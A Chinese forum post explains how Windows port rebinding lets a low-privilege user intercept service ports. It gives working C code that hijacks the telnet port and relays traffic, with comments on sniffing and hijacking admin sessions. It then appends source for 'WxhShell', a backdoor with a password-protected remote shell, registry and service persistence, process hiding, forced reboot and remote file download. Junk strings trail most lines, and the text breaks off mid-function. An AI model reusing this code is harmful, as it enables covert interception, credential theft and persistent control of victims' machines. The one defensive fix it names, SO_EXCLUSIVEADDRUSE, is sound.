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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2hZ>bg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =E{e|(1+u  
NBLiwL37{  
  saddr.sin_family = AF_INET; ?&qa3y)wX:  
jC<1bf$K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H{XbKLU  
9 \2<#,R1q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )C?bb$  G  
QU`M5{#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CcF$?07 i  
px|y_.DB2x  
  这意味着什么?意味着可以进行如下的攻击: ].E89_|O  
}b$?t7Q)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 , 7` /D  
YH_mWN\Wu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I+qg'mo  
h$F.(NIYe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1|]IWX|  
/O,>s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pN\YAc*@:  
$P=B66t ^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A`|Z2  
wjJM\BKr`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (P( =6-0  
U;o$=,_p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H2f!c{t$p  
4*j6~  
  #include O)0}yF$0  
  #include Z&f@)j  
  #include {ylY"FA  
  #include    JbV\eE#KrC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /G{;?R  
  int main() W0zRV9"P  
  { >GbCRN~  
  WORD wVersionRequested; J^!2F}:  
  DWORD ret; >9WJa5{  
  WSADATA wsaData; Ri<7!Y?l  
  BOOL val; _T96.~Q  
  SOCKADDR_IN saddr; {D6p?TL+  
  SOCKADDR_IN scaddr; u-8b,$@Z>'  
  int err; 5Kadh2nz  
  SOCKET s; `Z#0kpXk_  
  SOCKET sc; 1*x;jO>Hk  
  int caddsize; ?S*Cvr+=4  
  HANDLE mt; 6KvoHo  
  DWORD tid;   p)u?x)w=  
  wVersionRequested = MAKEWORD( 2, 2 ); KF4D)NM|  
  err = WSAStartup( wVersionRequested, &wsaData ); m1 tYDZ"i  
  if ( err != 0 ) { h_( #U)z_3  
  printf("error!WSAStartup failed!\n"); 0[# zn  
  return -1; H%nA"-  
  } N$!aP/b  
  saddr.sin_family = AF_INET; +jEtu[ ;  
   ; ,vGw <|o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z[cs/x  
6YHQ/#'G~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Ix{JP"Lk  
  saddr.sin_port = htons(23); '%H\ k5^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \&6^c=2=  
  { #J Ay  
  printf("error!socket failed!\n"); ~6Xr^An/Z  
  return -1; @TQzF-%#7  
  } IjPCaH.:t  
  val = TRUE; eT'Z;ZO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -MK9IO]i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S"@/F- 81  
  { Irc(5rD7   
  printf("error!setsockopt failed!\n"); A6?!BB=]  
  return -1; b2tUJ2p  
  } ^pysoaZCT_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G%HuB5:u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R<)^--n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q:/3uC7   
W>o>Y$H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W]CsKN,K  
  { jU9\BYUg  
  ret=GetLastError(); \C}_l+nY  
  printf("error!bind failed!\n"); s=H| ^v  
  return -1; TPF5?  
  } ~PtIq.BY  
  listen(s,2); X{u\|e{  
  while(1) >Y6iLQ$X  
  { ~-tKMc).X  
  caddsize = sizeof(scaddr); YApm)O={  
  //接受连接请求 6ec#3~ Y]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |[W7&@hF  
  if(sc!=INVALID_SOCKET) 2X,`t%o  
  { rizWaw5E!8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MJM<  
  if(mt==NULL) m#,AD,s  
  { #/0d  
  printf("Thread Creat Failed!\n"); M~ku4ZP  
  break; Tl!}Rw~Pg  
  } l<)k`lrMX4  
  } asZ(Hz%  
  CloseHandle(mt); 5L y Wg2  
  } $4:Se#nl  
  closesocket(s); c0v6*O)  
  WSACleanup(); T&nIH[}v  
  return 0; {fI"p;|  
  }   +A-z>T(  
  DWORD WINAPI ClientThread(LPVOID lpParam) T9\G,;VQ7/  
  { WD>z  
  SOCKET ss = (SOCKET)lpParam; E}g)q;0v|2  
  SOCKET sc; ,92wW&2  
  unsigned char buf[4096]; yA]OX"T?*  
  SOCKADDR_IN saddr; \h@3dJ4  
  long num; [ 0z-X7=e  
  DWORD val; 0fog/c#q(  
  DWORD ret; [.'9Sw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2C AR2V|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5ENEx  
  saddr.sin_family = AF_INET; )?{jD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l.xKv$uOGR  
  saddr.sin_port = htons(23); P?hB`5X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uQYenCNXS  
  { I+/fX0-Lib  
  printf("error!socket failed!\n"); 9/h[(qvT  
  return -1; 9~{,Hj1xE  
  } 8?LHYdJ  
  val = 100; %J8uVD.2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  a"D'QqtH  
  { DJb9] ,=a  
  ret = GetLastError(); >BZ,g!N,J}  
  return -1; }`y%*--  
  } 9y*2AaxW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FEdFGT  
  { i`w)dS  
  ret = GetLastError(); l:~/%=  
  return -1; Pq, iR J  
  } !j/54,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "(mF5BE-E  
  { P)O:lYX  
  printf("error!socket connect failed!\n"); 2(f-0or(  
  closesocket(sc); S1#5oy2  
  closesocket(ss); TN/y4(j  
  return -1; ioUO 0  
  } ^% L;FGaA  
  while(1) DWS#q|j`"  
  { n&2OfBJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3+&k{UZjt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~ga WZQXyu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q <ulh s  
  num = recv(ss,buf,4096,0); n~ZZX={a  
  if(num>0) (Q=:ln;kM  
  send(sc,buf,num,0); `Hqgahb{P  
  else if(num==0) X\kWJQ:  
  break; M)~sL1)  
  num = recv(sc,buf,4096,0); :j? MEeu  
  if(num>0) 4K ]*bF44  
  send(ss,buf,num,0); U6.hH%\}@  
  else if(num==0) BIEq(/-  
  break; %,S{9q  
  } tRo` @eEX  
  closesocket(ss); ] Upr<!  
  closesocket(sc); )q`.tsR>  
  return 0 ; ^r,0aNzAs  
  } u$FL(m4  
xd\ml 37~  
2f1Q&S  
========================================================== +BDW1%  
hcM9Sx"!  
下边附上一个代码,,WXhSHELL G#ELQ/Q  
NKc<nYdK?  
========================================================== u@tH6k*cBz  
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#include "stdafx.h" 8n["/5,  
{y B0JL}n  
#include <stdio.h> ~NB|BwAh  
#include <string.h> \Rs9B .  
#include <windows.h> wp83E,  
#include <winsock2.h> &DjA?0`J  
#include <winsvc.h> hAt4+O&P  
#include <urlmon.h> BLAF{vVaf  
o'Fyo4Qd  
#pragma comment (lib, "Ws2_32.lib") /ZM xVh0  
#pragma comment (lib, "urlmon.lib") X"9N<)C  
|bhv7(_  
#define MAX_USER   100 // 最大客户端连接数 +d?|R5{3  
#define BUF_SOCK   200 // sock buffer 4|\  
#define KEY_BUFF   255 // 输入 buffer WX]O1Y  
@t0T+T3  
#define REBOOT     0   // 重启 |~#A?mK-  
#define SHUTDOWN   1   // 关机 =k,?+h~  
VLVDi>0i  
#define DEF_PORT   5000 // 监听端口 ( P=WKZMPN  
q<Qjc  
#define REG_LEN     16   // 注册表键长度 a4 7e  
#define SVC_LEN     80   // NT服务名长度 u'k+t`V&  
a5aHv/W#P  
// 从dll定义API  ?!<Q8=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U#bmMH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'p78^4'PL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;<mcvm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~]].i~EV(  
cLRzm9  
// wxhshell配置信息 m`):= ^nC  
struct WSCFG { H:OpS-b  
  int ws_port;         // 监听端口 O}(sn  
  char ws_passstr[REG_LEN]; // 口令 `(gQw~|z  
  int ws_autoins;       // 安装标记, 1=yes 0=no X @pm!c#  
  char ws_regname[REG_LEN]; // 注册表键名 MppT"t  
  char ws_svcname[REG_LEN]; // 服务名 q#I'@Jbj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FFcIOn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bo14t*(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iz)r.TJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |@d}O8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %O f w"W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p_%,JD  
:WsHP\r  
}; mXS"nd30bD  
WPrBK{B`o  
// default Wxhshell configuration D(TG)X?  
struct WSCFG wscfg={DEF_PORT, J7C?Z  
    "xuhuanlingzhe", `rK@> -  
    1, ^TjC  
    "Wxhshell", bfEH>pQ>#  
    "Wxhshell", MX?UmQ'  
            "WxhShell Service", MM*~X"A  
    "Wrsky Windows CmdShell Service", 3$Vx8:Rhdn  
    "Please Input Your Password: ", ~c] q:pU2  
  1, 'r ^ .Ao5  
  "http://www.wrsky.com/wxhshell.exe", ,3c25.,*  
  "Wxhshell.exe" n*' :,m  
    }; N$v_z>6Z  
^i2>Ax&T  
// 消息定义模块 LFqY2,#i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B0A y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jUl_ToX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |(TEG.<g  
char *msg_ws_ext="\n\rExit."; 6uKth mr  
char *msg_ws_end="\n\rQuit."; n/ :#:  
char *msg_ws_boot="\n\rReboot..."; 98| v.d  
char *msg_ws_poff="\n\rShutdown..."; t#8QyN  
char *msg_ws_down="\n\rSave to "; xLLTp7b(  
PC+Soh*  
char *msg_ws_err="\n\rErr!";  - US>].  
char *msg_ws_ok="\n\rOK!"; PFx.uqp  
.Ln98#ZR  
char ExeFile[MAX_PATH]; #@5VT* /7  
int nUser = 0; -sdzA6dp  
HANDLE handles[MAX_USER]; ?b'(39fj  
int OsIsNt; =Ti@Y  
}EHL }Q  
SERVICE_STATUS       serviceStatus; "PWGtM:L8Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1zG6^U  
` ~^My~f  
// 函数声明 w8j pOvj  
int Install(void); YU`k^a7%  
int Uninstall(void); i `p1e5$  
int DownloadFile(char *sURL, SOCKET wsh); e-UWbn'~  
int Boot(int flag); Vr"'O6  
void HideProc(void); ZREy I(_  
int GetOsVer(void); 2 M\7j  
int Wxhshell(SOCKET wsl); {q+gm1iC  
void TalkWithClient(void *cs); #O,w{S  
int CmdShell(SOCKET sock); )c1Pj#|  
int StartFromService(void); 5D?{dA:Rq  
int StartWxhshell(LPSTR lpCmdLine); $I/ !vV  
7\$b%A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WBJn1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "X._:||8  
GUM-|[~  
// 数据结构和表定义 zFipuG02  
SERVICE_TABLE_ENTRY DispatchTable[] = 1M?x,N_W  
{ 9!_LsQ\)  
{wscfg.ws_svcname, NTServiceMain}, 1:M'|uc  
{NULL, NULL} ;14Q@yrZ0  
}; xC= $ym]  
:RZ'_5P[If  
// 自我安装 _8-1wx  
int Install(void) B-L@ 0gH  
{ ._;It198f  
  char svExeFile[MAX_PATH]; 4T"L#o1  
  HKEY key; p`Tl)[*  
  strcpy(svExeFile,ExeFile); "?<`]WG\  
EV* |\ te  
// 如果是win9x系统,修改注册表设为自启动 mr_NArF  
if(!OsIsNt) { .wWf#bB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J|o<;9dg1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /:BC<]s  
  RegCloseKey(key); )@y'$)5s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LV0gw"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <&B] p  
  RegCloseKey(key); < 0S\P=\  
  return 0; 'Cz]p~oF  
    } <; Td8O89_  
  } i?#U>0!  
} '&gUAt  
else { Dk")/ ib  
%wu,c e]*  
// 如果是NT以上系统,安装为系统服务 B%))HLo'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &?y|Pn  
if (schSCManager!=0) Q'ib7R;V,  
{ VzcW9'"#  
  SC_HANDLE schService = CreateService -%[6q  
  ( X C390t  
  schSCManager, 3z#fFP@E  
  wscfg.ws_svcname, TC:t!:  
  wscfg.ws_svcdisp, rXe+#`m2  
  SERVICE_ALL_ACCESS,  Bv%dy[I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G"vEtNoV  
  SERVICE_AUTO_START, z!~{3M  
  SERVICE_ERROR_NORMAL, b+CvA(*  
  svExeFile, C8:y+pH_U;  
  NULL, ?4Zo0DiUB  
  NULL, 3zM>2)T-  
  NULL, O7,:-5h0  
  NULL, q'biTn]2  
  NULL sP8_Y,  
  ); 9w\C vO&R  
  if (schService!=0) x_4{MD^%  
  { ty9(mtH+  
  CloseServiceHandle(schService); k9&pX8#  
  CloseServiceHandle(schSCManager); G#'G9/Tm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mt12 1Q&"  
  strcat(svExeFile,wscfg.ws_svcname); b3-+*5L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]}_Ohe]X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O0mQHpi:  
  RegCloseKey(key); Vt4,?"  
  return 0; 2QIo|$  
    } oR<;Tr~{q  
  } GsE =5A8  
  CloseServiceHandle(schSCManager); 7b kh")^  
} $I\lJ8  
} M;@/697G  
P?iQ{x}w~  
return 1;  0LUw  
} "LVN:|!  
`SYq/6$VEH  
// 自我卸载 7I{rhA  
int Uninstall(void) bLz('mUY  
{ .[o?qCsw  
  HKEY key; O'W[/\A56M  
DEpn>   
if(!OsIsNt) { Xm.["&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]i'gU(+;`  
  RegDeleteValue(key,wscfg.ws_regname); LBhDP5qF  
  RegCloseKey(key); ,V=]QHcg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p{rzP,Pb&  
  RegDeleteValue(key,wscfg.ws_regname); }cI _$  
  RegCloseKey(key); J`A )WsKkb  
  return 0; AjO|@6  
  } eP|hxqM&9  
} +}!FP3KgT  
} p/&s-G F  
else { Jd/XEs?<q  
_VAX~Y]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NE!]  
if (schSCManager!=0) [ST7CrwC  
{ ( ESmP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u=!n9W~"  
  if (schService!=0) iJ~e8l0CA  
  { se]QEd7]7  
  if(DeleteService(schService)!=0) { `v1~nNoY  
  CloseServiceHandle(schService); UNKXfe(X9  
  CloseServiceHandle(schSCManager); {FNq&)#`  
  return 0; V]A*' ke/  
  } WEB enGQ  
  CloseServiceHandle(schService); $8Y|& P  
  } E@^mlUf  
  CloseServiceHandle(schSCManager); W!WeYV}kb  
} Z <vTr6?  
} Sc3B*.  
a'A'%+2  
return 1; 3r,^is  
} } {m.\O  
!mRDzr7  
// 从指定url下载文件 ^6I8a"  
int DownloadFile(char *sURL, SOCKET wsh) O_ /|Wx  
{ Nc[V kJ]  
  HRESULT hr; t:.ZvA3  
char seps[]= "/"; AwO'%+Bv  
char *token; 7`Bwo*Y  
char *file; [}bPkD  
char myURL[MAX_PATH]; G .k\N(l  
char myFILE[MAX_PATH]; DANndXQLH  
B(|dT66K  
strcpy(myURL,sURL); )MJy  
  token=strtok(myURL,seps); OLM}en_L  
  while(token!=NULL) -z$&lP]  
  { [xsiSt?6  
    file=token; U/I+A|S[  
  token=strtok(NULL,seps); GLIP;)h1  
  } n^Sc*7  
s.G6?1VXlY  
GetCurrentDirectory(MAX_PATH,myFILE); $*i"rlJC  
strcat(myFILE, "\\"); 8cyC\Rs  
strcat(myFILE, file); z@n779i  
  send(wsh,myFILE,strlen(myFILE),0); MW6KEiQ"  
send(wsh,"...",3,0); vswBK-w(Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ngHPOI16  
  if(hr==S_OK) M,b^W:('4  
return 0; <<[hZ$.  
else #yVMC;J?W  
return 1; HfgK0wIi  
jB-)/8.qk  
} !,3U_!  
^9C9[$Q  
// 系统电源模块 J6Q}a7I#  
int Boot(int flag) 8fwM)DKS  
{ U\Hd?&`9gz  
  HANDLE hToken; pD>^Dfd  
  TOKEN_PRIVILEGES tkp; 2dF:;k k  
h8MkfHH7{  
  if(OsIsNt) { dnP3{!"b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *jF VYg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); br9`77J8  
    tkp.PrivilegeCount = 1; Lx"a#rZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kc:} Ky  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I2wT]L UV  
if(flag==REBOOT) { E0i_sB~T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dIR6dI   
  return 0; q|A-h'  
} %Jpb&CEY  
else { /j1p^=ARV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Q$]X5L  
  return 0; HGgw<Os-k  
} plY`lqm  
  } %T&#JF+;  
  else { ,A>i)brc  
if(flag==REBOOT) { _ z!0ab  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LEJ7.82  
  return 0; "p\XaClpz  
} .F~EQ %  
else { A_t<SG5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !!c.cv'  
  return 0; CDcs~PR@B  
} a`w)awb  
} T_}\  
H\kqmPl&  
return 1; i#jCf3%+ h  
} e;=G|E  
_OF 8D  
// win9x进程隐藏模块 a<V=C  
void HideProc(void) ^yRCR] oT  
{ |jV4]7Luq  
YV 9*B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LwUvM  
  if ( hKernel != NULL ) ,gU9y wg  
  { )^!-Aj\x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ZDh8 *ND  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Z%!38gGsu  
    FreeLibrary(hKernel); pAmTwe  
  } >?e*;f$VdJ  
7$GP#V1r/  
return; E"Xi  
} [jumq1  
Yb =8\<;  
// 获取操作系统版本 UsQv!Cwu^  
int GetOsVer(void) hJ:Hv.{`)W  
{ v *:m|wl  
  OSVERSIONINFO winfo; nbpN+a%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fWm;cDM H  
  GetVersionEx(&winfo); dm$:xE":  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *8XGo  
  return 1; y+ :<  
  else & 8&WY1cU  
  return 0; &U 'Ds!  
} EoY#D'[  
^U_jeAuk8[  
// 客户端句柄模块 w\t{'  
int Wxhshell(SOCKET wsl) |J}~a8o  
{ _X.M,id  
  SOCKET wsh; &P {%C5?{  
  struct sockaddr_in client; *`jEg=)  
  DWORD myID; hcaH   
<I|ryPU9{X  
  while(nUser<MAX_USER) rWvJ{-%  
{ *pWswcV/  
  int nSize=sizeof(client); E_yh9lk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #-V Kk  
  if(wsh==INVALID_SOCKET) return 1; 9Pb0Olh  
E{Q^ZSV3B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >$"bwr}'4B  
if(handles[nUser]==0) gVl#pVO`N  
  closesocket(wsh); Ql V:8:H$  
else 9SFiL#1  
  nUser++; }M~AkJL  
  } n+i}>3'A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HxM-VK '  
QWP_8$Q  
  return 0; ^Ta"Uk'  
} -J6}7>4^8}  
~|!lC}!IKL  
// 关闭 socket IWQ8e$N  
void CloseIt(SOCKET wsh) (nzzX?`nY  
{ a[JgR/E@x  
closesocket(wsh); lubS{3<  
nUser--; TUUBC%  
ExitThread(0); [zfGDMG&  
}  )Ob{]  
>pYgF =J  
// 客户端请求句柄 BxG;vS3>*e  
void TalkWithClient(void *cs) 8_ LDS  
{ ~& l`"  
a|>MueJ  
  SOCKET wsh=(SOCKET)cs; 0jyokER  
  char pwd[SVC_LEN]; 93rE5eGs  
  char cmd[KEY_BUFF]; aG ,uF  
char chr[1]; JSL 3.J  
int i,j; {J]|mxo  
)2A4vU-IR.  
  while (nUser < MAX_USER) { K XGs'D  
{xr]xcM'b  
if(wscfg.ws_passstr) {  ?b0\[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :z:Blp>nK/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'ZDclz9}  
  //ZeroMemory(pwd,KEY_BUFF); w*}9;l  
      i=0; :8ZxOwwv  
  while(i<SVC_LEN) { QJ /SP  
s6$3[9Vh&9  
  // 设置超时 \z{Y(dS  
  fd_set FdRead; Dz{e@+>M  
  struct timeval TimeOut; (X9V-4  
  FD_ZERO(&FdRead); HT&0i,`  
  FD_SET(wsh,&FdRead); MXy{]o_H~  
  TimeOut.tv_sec=8; LWI~m2  
  TimeOut.tv_usec=0; VtO+=mZV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ WNJQg'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TU/J]'))C  
qkIU>b,B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _=8+_OEk  
  pwd=chr[0]; WdT|xf.Q&  
  if(chr[0]==0xd || chr[0]==0xa) { I?>#neHc6  
  pwd=0; {ZcZ\Q;6  
  break; Bag#An1  
  } 6"GpE5'*  
  i++; ?@1'WD t  
    } "YL-!P  
,:`6x[ +  
  // 如果是非法用户,关闭 socket asg>TO W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }]I?vyQ#V  
} 'm|m +K83  
|=LkV"_v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f2wW2]Fg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q}5A^QX  
kgz{m;R  
while(1) { HhvG#Sam!  
^NDX4d;  
  ZeroMemory(cmd,KEY_BUFF); { rT`*P~  
#E9['JnZ  
      // 自动支持客户端 telnet标准   /<0D E22  
  j=0; Aq!['G  
  while(j<KEY_BUFF) { $J6.a!5IE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+"&{g  
  cmd[j]=chr[0]; 3ZlI$r(  
  if(chr[0]==0xa || chr[0]==0xd) { zc+;VtP|8  
  cmd[j]=0; $hSZ@w|IF  
  break; k`TJ<Dv;  
  } 0>iFXw:fn  
  j++; ozC!q)j  
    } hli 10p$  
sw|:Z(`  
  // 下载文件 cO,V8#H  
  if(strstr(cmd,"http://")) { C8EC?fSQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .gGvyscdH;  
  if(DownloadFile(cmd,wsh)) Y/H^*1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;cY!  
  else 7 Zt\G-QV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~lqGnNhh 7  
  } V:BX"$ J1  
  else { WuFwt\U  
R9h>I3F=c  
    switch(cmd[0]) { T[-c|  
  61W/BU7O  
  // 帮助 ~AanU1U<  
  case '?': { y?n2`l7f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RX5.bVp eE  
    break; uxyTu2L7  
  } cEc,eq|  
  // 安装 U}w+`ZLN  
  case 'i': { K;p<f{PE  
    if(Install()) 1Xr"h:U_X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N4 mJU'_{  
    else l(,;wAH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?[VpN2*  
    break; NOr <,  
    } ^YR|WKY  
  // 卸载 UIOEkQ\Wl  
  case 'r': { Y#&0x_Z  
    if(Uninstall()) c~UAr k S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN1U.FRe/  
    else /J.\p/%\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kAN;S<jSE  
    break; +K%pxuVh  
    } K- I\P6R`  
  // 显示 wxhshell 所在路径 LuP?$~z  
  case 'p': { 0<@KDlF  
    char svExeFile[MAX_PATH]; QW~5+c9JJ  
    strcpy(svExeFile,"\n\r"); n2d8;B#  
      strcat(svExeFile,ExeFile); sQ}%7BMK  
        send(wsh,svExeFile,strlen(svExeFile),0); ZSPgci  
    break; ^'&iYV  
    } )W]>\=@Y  
  // 重启 v0`qMBr1y  
  case 'b': { dGsS<@G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "65||[=8  
    if(Boot(REBOOT)) 4e@&QOo`Cu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf?S9r5Q  
    else { ^+*GbY$'  
    closesocket(wsh); lC=N:=Mu  
    ExitThread(0); 1iJ0Hut}d  
    } DhLr^Z!h3;  
    break; sK@Y!oF}\  
    } . QXG"R  
  // 关机 3J'73)y  
  case 'd': { QSHJmk 6L  
